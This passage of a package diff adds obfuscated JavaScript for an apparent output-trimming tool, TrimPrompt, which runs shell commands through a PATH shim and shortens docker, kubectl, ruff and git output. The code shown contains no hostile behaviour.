_0x3d84a2=_0x27d641;_0xbbc9a8[_0x3d84a2(0x173)]===_0x3d84a2(0x19f)?startDashboard(_0x2700c1+0x1):console[_0x3d84a2(0x19d)](_0x3d84a2(0x17c)+_0xbbc9a8['message']);});}
package/executor.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';function a0_0x37fc(){var _0x57e0d3=['shims','delimiter','getOwnPropertyDescriptor','__importStar','defineProperty','default','__createBinding','hasOwnProperty','data','spawn','8ICnIrG','executeCommand','4845953koSFAG','3005340cZTTfc','homedir','env','toLowerCase','4938462XuPKct','inherit','error','filter','create','trim','__esModule','getOwnPropertyNames','6633LvuRBK','length','4259472HZEKbg','configurable','185vtwfMO','path','child_process','prototype','call','44026760hEQRRX','PATH','message','pipe','stdout','close','stderr','\x22:\x20','split','Failed\x20to\x20spawn\x20command\x20\x22','31002ebHADK','140QGshal','__setModuleDefault'];a0_0x37fc=function(){return _0x57e0d3;};return a0_0x37fc();}function a0_0x5667(_0x57156d,_0x48780c){var _0x37fc91=a0_0x37fc();return a0_0x5667=function(_0x566725,_0x2e25e5){_0x566725=_0x566725-0x8c;var _0x436dd4=_0x37fc91[_0x566725];return _0x436dd4;},a0_0x5667(_0x57156d,_0x48780c);}var a0_0x1f231f=a0_0x5667;(function(_0x5f3cb3,_0x13ea5f){var _0x1718a5=a0_0x5667,_0x5634df=_0x5f3cb3();while(!![]){try{var _0x522117=-parseInt(_0x1718a5(0xb2))/0x1*(parseInt(_0x1718a5(0x97))/0x2)+-parseInt(_0x1718a5(0xb4))/0x3+-parseInt(_0x1718a5(0xa6))/0x4+-parseInt(_0x1718a5(0xb6))/0x5*(-parseInt(_0x1718a5(0x96))/0x6)+-parseInt(_0x1718a5(0xa5))/0x7+parseInt(_0x1718a5(0xa3))/0x8*(-parseInt(_0x1718a5(0xaa))/0x9)+parseInt(_0x1718a5(0x8c))/0xa;if(_0x522117===_0x13ea5f)break;else _0x5634df['push'](_0x5634df['shift']());}catch(_0x131f9b){_0x5634df['push'](_0x5634df['shift']());}}}(a0_0x37fc,0xaf24d));var __createBinding=this&&this[a0_0x1f231f(0x9f)]||(Object[a0_0x1f231f(0xae)]?function(_0x178bc4,_0x27e445,_0x20f685,_0x2e461c){var _0x55a500=a0_0x1f231f;if(_0x2e461c===undefined)_0x2e461c=_0x20f685;var _0x38fb37=Object[_0x55a500(0x9b)](_0x27e445,_0x20f685);(!_0x38fb37||('get'in _0x38fb37?!_0x27e445['__esModule']:_0x38fb37['writable']||_0x38fb37[_0x55a500(0xb5)]))&&(_0x38fb37={'enumerable':!![],'get':function(){return _0x27e445[_0x20f685];}}),Object['defineProperty'](_0x178bc4,_0x2e461c,_0x38fb37);}:function(_0x182aa9,_0x547f6b,_0x51098d,_0x223662){if(_0x223662===undefined)_0x223662=_0x51098d;_0x182aa9[_0x223662]=_0x547f6b[_0x51098d];}),__setModuleDefault=this&&this[a0_0x1f231f(0x98)]||(Object[a0_0x1f231f(0xae)]?function(_0x22d0ba,_0x40937b){var _0x359f99=a0_0x1f231f;Object[_0x359f99(0x9d)](_0x22d0ba,_0x359f99(0x9e),{'enumerable':!![],'value':_0x40937b});}:function(_0x3fe3b1,_0x150934){_0x3fe3b1['default']=_0x150934;}),__importStar=this&&this[a0_0x1f231f(0x9c)]||(function(){var _0x155ec3=function(_0x46db57){var _0xc5bd13=a0_0x5667;return _0x155ec3=Object[_0xc5bd13(0xb1)]||function(_0x1ee151){var _0x24db23=_0xc5bd13,_0x3d55e6=[];for(var _0x43e2f3 in _0x1ee151)if(Object[_0x24db23(0xb9)][_0x24db23(0xa0)][_0x24db23(0xba)](_0x1ee151,_0x43e2f3))_0x3d55e6[_0x3d55e6[_0x24db23(0xb3)]]=_0x43e2f3;return _0x3d55e6;},_0x155ec3(_0x46db57);};return function(_0x2e588e){var _0x18e24b=a0_0x5667;if(_0x2e588e&&_0x2e588e[_0x18e24b(0xb0)])return _0x2e588e;var _0x598a85={};if(_0x2e588e!=null){for(var _0x63cebd=_0x155ec3(_0x2e588e),_0x4ad7e5=0x0;_0x4ad7e5<_0x63cebd[_0x18e24b(0xb3)];_0x4ad7e5++)if(_0x63cebd[_0x4ad7e5]!==_0x18e24b(0x9e))__createBinding(_0x598a85,_0x2e588e,_0x63cebd[_0x4ad7e5]);}return __setModuleDefault(_0x598a85,_0x2e588e),_0x598a85;};}());Object[a0_0x1f231f(0x9d)](exports,a0_0x1f231f(0xb0),{'value':!![]}),exports[a0_0x1f231f(0xa4)]=executeCommand;const child_process_1=require(a0_0x1f231f(0xb8)),path=__importStar(require(a0_0x1f231f(0xb7))),os=__importStar(require('os'));function executeCommand(_0x41e57b,_0x864183){return new Promise(_0x2f3a09=>{var _0x53a821=a0_0x5667;const _0xa2cc2b=path['join'](os[_0x53a821(0xa7)](),'.trimprompt',_0x53a821(0x99)),_0x1e9eeb=(process[_0x53a821(0xa8)][_0x53a821(0x8d)]||'')[_0x53a821(0x94)](path[_0x53a821(0x9a)])[_0x53a821(0xad)](_0x32cc88=>_0x32cc88[_0x53a821(0xaf)]()['toLowerCase']()!==_0xa2cc2b[_0x53a821(0xa9)]())['join'](path[_0x53a821(0x9a)]),_0x447d98={...process['env'],'PATH':_0x1e9eeb,'TRIMPROMPT_DISABLED':'1'},_0x4ba4e5=(0x0,child_process_1[_0x53a821(0xa2)])(_0x41e57b,_0x864183,{'stdio':[_0x53a821(0xab),_0x53a821(0x8f),'pipe'],'shell':!![],'env':_0x447d98});let _0x33fabc='',_0x12739d='';_0x4ba4e5[_0x53a821(0x90)]?.['on'](_0x53a821(0xa1),_0x1eed32=>{_0x33fabc+=_0x1eed32['toString']();}),_0x4ba4e5[_0x53a821(0x92)]?.['on'](_0x53a821(0xa1),_0x484a4e=>{_0x12739d+=_0x484a4e['toString']();}),_0x4ba4e5['on'](_0x53a821(0xac),_0x313c0f=>{var _0x4cc22f=_0x53a821;_0x2f3a09({'exitCode':0x1,'stdout':'','stderr':_0x4cc22f(0x95)+_0x41e57b+_0x4cc22f(0x93)+_0x313c0f[_0x4cc22f(0x8e)]});}),_0x4ba4e5['on'](_0x53a821(0x91),_0x677943=>{_0x2f3a09({'exitCode':_0x677943??0x0,'stdout':_0x33fabc,'stderr':_0x12739d});});});}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x2600ca=a0_0x28cb;(function(_0x227387,_0x5921fe){const _0x23b6f7=a0_0x28cb,_0x1b3ca5=_0x227387();while(!![]){try{const _0x1ba6f2=parseInt(_0x23b6f7(0x1d2))/0x1*(-parseInt(_0x23b6f7(0x1cc))/0x2)+-parseInt(_0x23b6f7(0x1d6))/0x3+parseInt(_0x23b6f7(0x1e1))/0x4*(parseInt(_0x23b6f7(0x1d3))/0x5)+parseInt(_0x23b6f7(0x1b9))/0x6+parseInt(_0x23b6f7(0x1b6))/0x7*(-parseInt(_0x23b6f7(0x1d1))/0x8)+-parseInt(_0x23b6f7(0x1bc))/0x9*(parseInt(_0x23b6f7(0x1df))/0xa)+parseInt(_0x23b6f7(0x1c8))/0xb;if(_0x1ba6f2===_0x5921fe)break;else _0x1b3ca5['push'](_0x1b3ca5['shift']());}catch(_0x2747de){_0x1b3ca5['push'](_0x1b3ca5['shift']());}}}(a0_0x52c8,0x45bb4));Object[a0_0x2600ca(0x1bb)](exports,a0_0x2600ca(0x1b1),{'value':!![]}),exports['filterDockerPs']=filterDockerPs,exports[a0_0x2600ca(0x1b2)]=filterDockerImages,exports[a0_0x2600ca(0x1c1)]=filterDockerLogs,exports[a0_0x2600ca(0x1bf)]=filterKubectl,exports[a0_0x2600ca(0x1c9)]=filterRuff;function a0_0x52c8(){const _0x102ac2=['defineProperty','225nEMPLP','\x20\x20...\x20(','Ruff:\x20no\x20issues\x20found','filterKubectl','\x0a...\x20+','filterDockerLogs','No\x20containers\x20running','\x20total','slice','filter','\x20more\x20lines','trim','16380463IqCAVw','filterRuff','No\x20resources\x20found','Ruff:\x20all\x20checks\x20passed','102388AqfIpX','\x20files','\x20log\x20lines\x20total)','\x20more\x20events','\x20lines\x20truncated]\x20...\x0a','32NMdboG','11fBOOMJ','2663345oECzYR','split','push','1127331RJnHWA','\x0a...\x20[','\x20more\x20resources','Containers:\x20','match','Ruff:\x20','\x20more','length','includes','227670gBKkLT','\x20more\x20images','4kHNDHV','logs','keys','__esModule','filterDockerImages','All\x20checks\x20passed','Found\x200\x20error','No\x20images\x20found','727069smNePQ','\x20\x20...\x20+','join','1124232TLiiKS','\x20issues\x20in\x20'];a0_0x52c8=function(){return _0x102ac2;};return a0_0x52c8();}function a0_0x28cb(_0x4ed33f,_0x114710){const _0x52c800=a0_0x52c8();return a0_0x28cb=function(_0x28cb02,_0xa27cdc){_0x28cb02=_0x28cb02-0x1b0;let _0x3069bb=_0x52c800[_0x28cb02];return _0x3069bb;},a0_0x28cb(_0x4ed33f,_0x114710);}function filterDockerPs(_0x9c6241){const _0xd68526=a0_0x2600ca,_0x5984a8=_0x9c6241[_0xd68526(0x1d4)]('\x0a')['filter'](_0x476613=>_0x476613[_0xd68526(0x1c7)]()[_0xd68526(0x1dd)]>0x0);if(_0x5984a8[_0xd68526(0x1dd)]===0x0)return _0xd68526(0x1c2);if(_0x5984a8[_0xd68526(0x1dd)]<=0xa)return _0x9c6241['trim']();const _0x3f45c1=_0x5984a8[0x0],_0x583b68=_0x5984a8[_0xd68526(0x1c4)](0x1),_0x464b0d=[];_0x464b0d[_0xd68526(0x1d5)](_0xd68526(0x1d9)+_0x583b68[_0xd68526(0x1dd)]+_0xd68526(0x1c3)),_0x464b0d['push']('');for(const _0x2231b1 of _0x583b68){const _0x397abc=_0x2231b1[_0xd68526(0x1d4)](/\s{2,}/);if(_0x397abc['length']>=0x5){const _0xa335f1=_0x397abc[0x0]['substring'](0x0,0xc),_0x5eae4b=_0x397abc[0x1],_0x7a247d=_0x397abc[_0x397abc[_0xd68526(0x1dd)]-0x2]||'',_0x36aca5=_0x397abc[_0x397abc[_0xd68526(0x1dd)]-0x1]||'';_0x464b0d['push']('\x20\x20'+_0xa335f1+'\x20\x20'+_0x5eae4b+'\x20\x20'+_0x7a247d+'\x20\x20'+_0x36aca5);}else _0x464b0d[_0xd68526(0x1d5)]('\x20\x20'+_0x2231b1[_0xd68526(0x1c7)]());}return _0x464b0d['join']('\x0a');}function filterDockerImages(_0x243d25){const _0xbae91c=a0_0x2600ca,_0x9c0625=_0x243d25[_0xbae91c(0x1d4)]('\x0a')[_0xbae91c(0x1c5)](_0x4fde02=>_0x4fde02[_0xbae91c(0x1c7)]()[_0xbae91c(0x1dd)]>0x0);if(_0x9c0625['length']<=0x1)return _0xbae91c(0x1b5);if(_0x9c0625['length']<=0xf)return _0x243d25[_0xbae91c(0x1c7)]();const _0x49341d=_0x9c0625[_0xbae91c(0x1c4)](0x1),_0x5f274b=['Docker\x20images:\x20'+_0x49341d['length']+'\x20total'];_0x5f274b[_0xbae91c(0x1d5)]('');const _0x57913d=_0x49341d[_0xbae91c(0x1c4)](0x0,0x14);for(const _0x591566 of _0x57913d){const _0x5852e2=_0x591566['split'](/\s{2,}/);if(_0x5852e2[_0xbae91c(0x1dd)]>=0x3){const _0x814488=_0x5852e2[0x0],_0x5e7af9=_0x5852e2[0x1],_0x2001de=_0x5852e2[_0x5852e2[_0xbae91c(0x1dd)]-0x1]||'';_0x5f274b['push']('\x20\x20'+_0x814488+':'+_0x5e7af9+'\x20\x20'+_0x2001de);}else _0x5f274b[_0xbae91c(0x1d5)]('\x20\x20'+_0x591566['trim']());}return _0x49341d['length']>0x14&&_0x5f274b['push'](_0xbae91c(0x1b7)+(_0x49341d[_0xbae91c(0x1dd)]-0x14)+_0xbae91c(0x1e0)),_0x5f274b[_0xbae91c(0x1b8)]('\x0a');}function filterDockerLogs(_0x3422e6){const _0x19e1ca=a0_0x2600ca,_0x57953f=_0x3422e6[_0x19e1ca(0x1d4)]('\x0a');if(_0x57953f[_0x19e1ca(0x1dd)]<=0x32)return _0x3422e6;const _0x3cef35=[];return _0x3cef35[_0x19e1ca(0x1d5)](..._0x57953f[_0x19e1ca(0x1c4)](0x0,0x14)),_0x3cef35['push'](_0x19e1ca(0x1d7)+(_0x57953f[_0x19e1ca(0x1dd)]-0x28)+_0x19e1ca(0x1d0)),_0x3cef35['push'](..._0x57953f[_0x19e1ca(0x1c4)](-0x14)),_0x3cef35[_0x19e1ca(0x1d5)]('\x0a('+_0x57953f[_0x19e1ca(0x1dd)]+_0x19e1ca(0x1ce)),_0x3cef35[_0x19e1ca(0x1b8)]('\x0a');}function filterKubectl(_0xf26f6a,_0x57ee11){const _0x33b0ed=a0_0x2600ca,_0x4ad606=_0xf26f6a[_0x33b0ed(0x1d4)]('\x0a')['filter'](_0x350316=>_0x350316[_0x33b0ed(0x1c7)]()[_0x33b0ed(0x1dd)]>0x0);if(_0x4ad606[_0x33b0ed(0x1dd)]===0x0)return _0x33b0ed(0x1ca);if(_0x4ad606['length']<=0x14)return _0xf26f6a[_0x33b0ed(0x1c7)]();if(_0x57ee11==='get'){const _0x53416a=_0x4ad606[0x0],_0x41007f=_0x4ad606['slice'](0x1),_0x256b88=[_0x41007f[_0x33b0ed(0x1dd)]+'\x20resources\x20found','',_0x53416a];return _0x41007f[_0x33b0ed(0x1dd)]<=0x1e?_0x256b88[_0x33b0ed(0x1d5)](..._0x41007f):(_0x256b88[_0x33b0ed(0x1d5)](..._0x41007f['slice'](0x0,0x19)),_0x256b88[_0x33b0ed(0x1d5)]('...\x20+'+(_0x41007f[_0x33b0ed(0x1dd)]-0x19)+_0x33b0ed(0x1d8))),_0x256b88[_0x33b0ed(0x1b8)]('\x0a');}if(_0x57ee11==='describe'){const _0x2083a5=[];let _0x474fcc=![],_0x6e630c=0x0;for(const _0x56a097 of _0x4ad606){if(_0x56a097['startsWith']('Events:')){_0x474fcc=!![],_0x2083a5['push'](_0x56a097);continue;}if(_0x474fcc){_0x6e630c++;if(_0x6e630c<=0x5)_0x2083a5[_0x33b0ed(0x1d5)](_0x56a097);}else _0x2083a5[_0x33b0ed(0x1d5)](_0x56a097);}return _0x6e630c>0x5&&_0x2083a5['push'](_0x33b0ed(0x1b7)+(_0x6e630c-0x5)+_0x33b0ed(0x1cf)),_0x2083a5['join']('\x0a');}if(_0x57ee11===_0x33b0ed(0x1e2))return filterDockerLogs(_0xf26f6a);const _0xe824a1=_0x4ad606[_0x33b0ed(0x1c4)](0x0,0x1e);return _0x4ad606[_0x33b0ed(0x1dd)]>0x1e&&_0xe824a1[_0x33b0ed(0x1d5)]('...\x20+'+(_0x4ad606[_0x33b0ed(0x1dd)]-0x1e)+_0x33b0ed(0x1c6)),_0xe824a1['join']('\x0a');}function filterRuff(_0x46fc7a){const _0x9f4a5a=a0_0x2600ca,_0x3f24f5=_0x46fc7a[_0x9f4a5a(0x1d4)]('\x0a')[_0x9f4a5a(0x1c5)](_0x1fc19c=>_0x1fc19c[_0x9f4a5a(0x1c7)]()[_0x9f4a5a(0x1dd)]>0x0);if(_0x3f24f5[_0x9f4a5a(0x1dd)]===0x0)return _0x9f4a5a(0x1be);if(_0x46fc7a[_0x9f4a5a(0x1de)](_0x9f4a5a(0x1b3))||_0x46fc7a['includes'](_0x9f4a5a(0x1b4)))return _0x9f4a5a(0x1cb);const _0x52516b=_0x46fc7a[_0x9f4a5a(0x1da)](/Found (\d+) error/),_0x3c105b=_0x52516b?parseInt(_0x52516b[0x1]):_0x3f24f5['length'],_0x56b9b9={},_0x4299ca=[];for(const _0x325327 of _0x3f24f5){const _0x596a1b=_0x325327[_0x9f4a5a(0x1da)](/^([^:]+:\d+:\d+):\s*(.*)/);if(_0x596a1b){const _0x29262d=_0x596a1b[0x1],_0x11bd6e=_0x29262d[_0x9f4a5a(0x1d4)](':')[0x0];if(!_0x56b9b9[_0x11bd6e])_0x56b9b9[_0x11bd6e]=[];_0x56b9b9[_0x11bd6e][_0x9f4a5a(0x1d5)](_0x325327);}else _0x4299ca['push'](_0x325327);}const _0x4a1f1c=Object[_0x9f4a5a(0x1b0)](_0x56b9b9);if(_0x4a1f1c[_0x9f4a5a(0x1dd)]===0x0){if(_0x3f24f5['length']<=0x14)return _0x46fc7a[_0x9f4a5a(0x1c7)]();return _0x3f24f5[_0x9f4a5a(0x1c4)](0x0,0xf)[_0x9f4a5a(0x1b8)]('\x0a')+(_0x9f4a5a(0x1c0)+(_0x3f24f5[_0x9f4a5a(0x1dd)]-0xf)+_0x9f4a5a(0x1dc));}const _0x53e72d=[_0x9f4a5a(0x1db)+_0x3c105b+_0x9f4a5a(0x1ba)+_0x4a1f1c['length']+_0x9f4a5a(0x1cd)];_0x53e72d['push']('');const _0x9d94d2=0xa;for(const _0x3154a9 of _0x4a1f1c['slice'](0x0,_0x9d94d2)){const _0x39aaef=_0x56b9b9[_0x3154a9];if(_0x39aaef[_0x9f4a5a(0x1dd)]<=0x3){for(const _0x3a7b1d of _0x39aaef)_0x53e72d[_0x9f4a5a(0x1d5)]('\x20\x20'+_0x3a7b1d);}else _0x53e72d['push']('\x20\x20'+_0x39aaef[0x0]),_0x53e72d['push'](_0x9f4a5a(0x1bd)+_0x39aaef['length']+_0x9f4a5a(0x1ba)+_0x3154a9+')');}return _0x4a1f1c[_0x9f4a5a(0x1dd)]>_0x9d94d2&&_0x53e72d[_0x9f4a5a(0x1d5)](_0x9f4a5a(0x1b7)+(_0x4a1f1c[_0x9f4a5a(0x1dd)]-_0x9d94d2)+'\x20more\x20files'),_0x53e72d[_0x9f4a5a(0x1b8)]('\x0a');}
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x175bae=a0_0x303f;(function(_0x2524d0,_0x4eb1d6){const _0x29f568=a0_0x303f,_0x348b71=_0x2524d0();while(!![]){try{const _0x3281f9=parseInt(_0x29f568(0x15f))/0x1*(parseInt(_0x29f568(0x16a))/0x2)+parseInt(_0x29f568(0x163))/0x3*(parseInt(_0x29f568(0x169))/0x4)+parseInt(_0x29f568(0x15a))/0x5+-parseInt(_0x29f568(0x15c))/0x6*(parseInt(_0x29f568(0x161))/0x7)+-parseInt(_0x29f568(0x156))/0x8+parseInt(_0x29f568(0x162))/0x9*(-parseInt(_0x29f568(0x159))/0xa)+parseInt(_0x29f568(0x16b))/0xb*(parseInt(_0x29f568(0x165))/0xc);if(_0x3281f9===_0x4eb1d6)break;else _0x348b71['push'](_0x348b71['shift']());}catch(_0x57a3df){_0x348b71['push'](_0x348b71['shift']());}}}(a0_0x1f87,0xa5776));function a0_0x1f87(){const _0x65d5=['defineProperty','stripAnsi','9081880bXwlQO','6766505fKTqPo','split','5676714bIHSkt','push','slice','1DhulyH','__esModule','7EvlrQO','9BvPKch','6447GlKVlv','softTruncate','8132832WTSVSN','length','\x20[x','collapseDuplicates','1592xMdwWr','468568RfWYMp','22QKlWcR','trim','join','10130416qGZOUh'];a0_0x1f87=function(){return _0x65d5;};return a0_0x1f87();}Object[a0_0x175bae(0x157)](exports,a0_0x175bae(0x160),{'value':!![]}),exports[a0_0x175bae(0x158)]=stripAnsi,exports[a0_0x175bae(0x168)]=collapseDuplicates,exports[a0_0x175bae(0x164)]=softTruncate;function stripAnsi(_0x48201c){const _0x3e1d22=/[\u001b\u009b][[()#;?]*(?:[0-9]{1,4}(?:;[0-9]{0,4})*)?[0-9A-ORZcf-nqry=><]/g;return _0x48201c['replace'](_0x3e1d22,'');}function a0_0x303f(_0x418092,_0x34d094){const _0x1f8786=a0_0x1f87();return a0_0x303f=function(_0x303f26,_0x465917){_0x303f26=_0x303f26-0x155;let _0x463c8e=_0x1f8786[_0x303f26];return _0x463c8e;},a0_0x303f(_0x418092,_0x34d094);}function collapseDuplicates(_0xfbdc18){const _0x15b258=a0_0x175bae,_0xa9b3af=_0xfbdc18[_0x15b258(0x15b)]('\x0a');if(_0xa9b3af[_0x15b258(0x166)]<=0x1)return _0xfbdc18;const _0x38332b=[];let _0x5c51e2=_0xa9b3af[0x0],_0x3e2465=0x1;for(let _0x5da2a8=0x1;_0x5da2a8<_0xa9b3af['length'];_0x5da2a8++){const _0x3c8c8b=_0xa9b3af[_0x5da2a8];_0x3c8c8b===_0x5c51e2&&_0x3c8c8b[_0x15b258(0x16c)]()[_0x15b258(0x166)]>0x0?_0x3e2465++:(_0x3e2465>0x1?_0x38332b[_0x15b258(0x15d)](_0x5c51e2+'\x20[x'+_0x3e2465+']'):_0x38332b['push'](_0x5c51e2),_0x5c51e2=_0x3c8c8b,_0x3e2465=0x1);}return _0x3e2465>0x1?_0x38332b[_0x15b258(0x15d)](_0x5c51e2+_0x15b258(0x167)+_0x3e2465+']'):_0x38332b['push'](_0x5c51e2),_0x38332b[_0x15b258(0x155)]('\x0a');}function softTruncate(_0x42a786,_0x372254=0x4e20){const _0x2f3f50=a0_0x175bae;if(_0x42a786['length']<=_0x372254)return _0x42a786;const _0x41c2fd=_0x42a786['split']('\x0a');if(_0x41c2fd[_0x2f3f50(0x166)]<=0xc8)return _0x42a786;const _0x30288a=0x32,_0xf48a56=0x96,_0x51125c=_0x41c2fd[_0x2f3f50(0x15e)](0x0,_0x30288a),_0x56a92f=_0x41c2fd[_0x2f3f50(0x15e)](_0x41c2fd[_0x2f3f50(0x166)]-_0xf48a56),_0x360986=_0x42a786[_0x2f3f50(0x166)]-(_0x51125c[_0x2f3f50(0x155)]('\x0a')['length']+_0x56a92f[_0x2f3f50(0x155)]('\x0a')[_0x2f3f50(0x166)]);return[..._0x51125c,'\x0a...\x20[TrimPrompt:\x20Truncated\x20'+_0x360986+'\x20characters\x20of\x20output]\x20...\x0a',..._0x56a92f][_0x2f3f50(0x155)]('\x0a');}
package/filters/git.js ADDED
@@ -0,0 +1 @@
1
+ 'use strict';const a0_0x59937d=a0_0x3219;function a0_0x2e17(){const _0x38068d=['defineProperty','8076488fgZzNG','split','match','__importStar','1044378KIXHOj','slice','2768DAOcBu','__esModule','*\x20Branch:\x20','No\x20modifications','entries','833675mkpqBI','map','\x20untracked\x20files)','replace','diff\x20--git','\x0aChanges:','---','filter','\x20\x20??\x20','startsWith','1810932NDHrji','get','path','push','unknown_file','getOwnPropertyDescriptor','Clean\x20working\x20tree','[file]\x20','length','2177112nESFrr','hasOwnProperty','\x20\x20...\x20(+','create','prototype','__createBinding','1773WKGrkY','join','filterGitLog','__setModuleDefault','\x0aUntracked\x20files:','basename','configurable','call','getOwnPropertyNames','default','177934VAJDqi','trim'];a0_0x2e17=function(){return _0x38068d;};return a0_0x2e17();}(function(_0x42dc05,_0x1b2ca7){const _0x20e92a=a0_0x3219,_0x22c16e=_0x42dc05();while(!![]){try{const _0x2add5c=parseInt(_0x20e92a(0x17d))/0x1+-parseInt(_0x20e92a(0x184))/0x2+parseInt(_0x20e92a(0x1a4))/0x3*(parseInt(_0x20e92a(0x186))/0x4)+-parseInt(_0x20e92a(0x18b))/0x5+-parseInt(_0x20e92a(0x195))/0x6+-parseInt(_0x20e92a(0x19e))/0x7+parseInt(_0x20e92a(0x180))/0x8;if(_0x2add5c===_0x1b2ca7)break;else _0x22c16e['push'](_0x22c16e['shift']());}catch(_0x328ef9){_0x22c16e['push'](_0x22c16e['shift']());}}}(a0_0x2e17,0x47f31));function a0_0x3219(_0x49da2f,_0x2cae01){const _0x2e1703=a0_0x2e17();return a0_0x3219=function(_0x3219b8,_0x286634){_0x3219b8=_0x3219b8-0x175;let _0x47452a=_0x2e1703[_0x3219b8];return _0x47452a;},a0_0x3219(_0x49da2f,_0x2cae01);}var __createBinding=this&&this[a0_0x59937d(0x1a3)]||(Object[a0_0x59937d(0x1a1)]?function(_0x1fc1f6,_0x4fb5ce,_0x567964,_0x140b56){const _0x1edcf8=a0_0x59937d;if(_0x140b56===undefined)_0x140b56=_0x567964;var _0x5ef28c=Object[_0x1edcf8(0x19a)](_0x4fb5ce,_0x567964);(!_0x5ef28c||(_0x1edcf8(0x196)in _0x5ef28c?!_0x4fb5ce[_0x1edcf8(0x187)]:_0x5ef28c['writable']||_0x5ef28c[_0x1edcf8(0x179)]))&&(_0x5ef28c={'enumerable':!![],'get':function(){return _0x4fb5ce[_0x567964];}}),Object[_0x1edcf8(0x17f)](_0x1fc1f6,_0x140b56,_0x5ef28c);}:function(_0x3dc04e,_0x309d20,_0x492adf,_0x4e8089){if(_0x4e8089===undefined)_0x4e8089=_0x492adf;_0x3dc04e[_0x4e8089]=_0x309d20[_0x492adf];}),__setModuleDefault=this&&this[a0_0x59937d(0x176)]||(Object[a0_0x59937d(0x1a1)]?function(_0x1e684d,_0x2b1971){const _0xf6af4f=a0_0x59937d;Object[_0xf6af4f(0x17f)](_0x1e684d,_0xf6af4f(0x17c),{'enumerable':!![],'value':_0x2b1971});}:function(_0x5aae3f,_0x5431d7){const _0x41a455=a0_0x59937d;_0x5aae3f[_0x41a455(0x17c)]=_0x5431d7;}),__importStar=this&&this[a0_0x59937d(0x183)]||(function(){var _0x52d536=function(_0x281daa){const _0xe6aa9f=a0_0x3219;return _0x52d536=Object[_0xe6aa9f(0x17b)]||function(_0x2545e1){const _0x5872e5=_0xe6aa9f;var _0x2693f1=[];for(var _0x56008a in _0x2545e1)if(Object[_0x5872e5(0x1a2)][_0x5872e5(0x19f)][_0x5872e5(0x17a)](_0x2545e1,_0x56008a))_0x2693f1[_0x2693f1['length']]=_0x56008a;return _0x2693f1;},_0x52d536(_0x281daa);};return function(_0x703957){const _0x99fb03=a0_0x3219;if(_0x703957&&_0x703957[_0x99fb03(0x187)])return _0x703957;var _0x17d025={};if(_0x703957!=null){for(var _0x563dcb=_0x52d536(_0x703957),_0x5968d=0x0;_0x5968d<_0x563dcb[_0x99fb03(0x19d)];_0x5968d++)if(_0x563dcb[_0x5968d]!==_0x99fb03(0x17c))__createBinding(_0x17d025,_0x703957,_0x563dcb[_0x5968d]);}return __setModuleDefault(_0x17d025,_0x703957),_0x17d025;};}());Object[a0_0x59937d(0x17f)](exports,a0_0x59937d(0x187),{'value':!![]}),exports['filterGitStatus']=filterGitStatus,exports[a0_0x59937d(0x175)]=filterGitLog,exports['filterGitDiff']=filterGitDiff;const path=__importStar(require(a0_0x59937d(0x197)));function filterGitStatus(_0x577195){const _0x1f5f32=a0_0x59937d,_0x9306db=_0x577195[_0x1f5f32(0x181)]('\x0a')[_0x1f5f32(0x18c)](_0x57e4d1=>_0x57e4d1[_0x1f5f32(0x17e)]())[_0x1f5f32(0x192)](_0x303c37=>_0x303c37[_0x1f5f32(0x19d)]>0x0);if(_0x9306db['length']===0x0)return _0x1f5f32(0x19b);const _0x5d22d4=[],_0x3dad5e=[],_0x328bca=[];for(const _0x39ab04 of _0x9306db){if(_0x39ab04[_0x1f5f32(0x194)]('##')){const _0x163754=_0x39ab04[_0x1f5f32(0x18e)](/^##\s*/,'');_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x188)+_0x163754);}else _0x39ab04[_0x1f5f32(0x194)]('??')?_0x3dad5e[_0x1f5f32(0x198)](_0x39ab04['substring'](0x3)['trim']()):_0x328bca[_0x1f5f32(0x198)](_0x39ab04);}_0x328bca['length']>0x0&&(_0x5d22d4['push'](_0x1f5f32(0x190)),_0x5d22d4['push'](..._0x328bca[_0x1f5f32(0x18c)](_0x17dddb=>'\x20\x20'+_0x17dddb)));if(_0x3dad5e['length']>0x0){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x177));const _0x4b4dd5={},_0x583920=[];for(const _0x1a796a of _0x3dad5e){const _0xbb16ad=path['dirname'](_0x1a796a);_0xbb16ad==='.'||_0xbb16ad===''?_0x583920['push'](_0x1a796a):(!_0x4b4dd5[_0xbb16ad]&&(_0x4b4dd5[_0xbb16ad]=[]),_0x4b4dd5[_0xbb16ad]['push'](path[_0x1f5f32(0x178)](_0x1a796a)));}for(const [_0x33cb0a,_0x25b7a7]of Object[_0x1f5f32(0x18a)](_0x4b4dd5)){if(_0x25b7a7[_0x1f5f32(0x19d)]>0x5)_0x5d22d4['push'](_0x1f5f32(0x193)+_0x33cb0a+'/\x20('+_0x25b7a7['length']+_0x1f5f32(0x18d));else for(const _0x568748 of _0x25b7a7){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x193)+path[_0x1f5f32(0x1a5)](_0x33cb0a,_0x568748));}}for(const _0xd8297b of _0x583920){_0x5d22d4[_0x1f5f32(0x198)](_0x1f5f32(0x193)+_0xd8297b);}}return _0x5d22d4['join']('\x0a');}function filterGitLog(_0x356565){const _0x312343=a0_0x59937d,_0x500d8b=_0x356565[_0x312343(0x181)]('---END---')[_0x312343(0x18c)](_0x17f5bd=>_0x17f5bd[_0x312343(0x17e)]())[_0x312343(0x192)](_0x255608=>_0x255608[_0x312343(0x19d)]>0x0);if(_0x500d8b['length']===0x0)return _0x356565;const _0x3ad457=[];for(const _0xe75a90 of _0x500d8b){const _0x2c1299=_0xe75a90['split']('\x0a'),_0x4da6a1=_0x2c1299[0x0]||'',_0x45d5d9=_0x2c1299['slice'](0x1)[_0x312343(0x18c)](_0x3e5b4f=>_0x3e5b4f[_0x312343(0x17e)]())[_0x312343(0x192)](_0x3cc709=>_0x3cc709[_0x312343(0x19d)]>0x0);_0x3ad457[_0x312343(0x198)]('-\x20'+_0x4da6a1),_0x45d5d9[_0x312343(0x19d)]>0x0&&(_0x3ad457[_0x312343(0x198)]('\x20\x20'+_0x45d5d9[0x0]),_0x45d5d9['length']>0x1&&_0x3ad457[_0x312343(0x198)](_0x312343(0x1a0)+(_0x45d5d9[_0x312343(0x19d)]-0x1)+'\x20lines\x20of\x20description)'));}return _0x3ad457[_0x312343(0x1a5)]('\x0a');}function filterGitDiff(_0x1c78ee){const 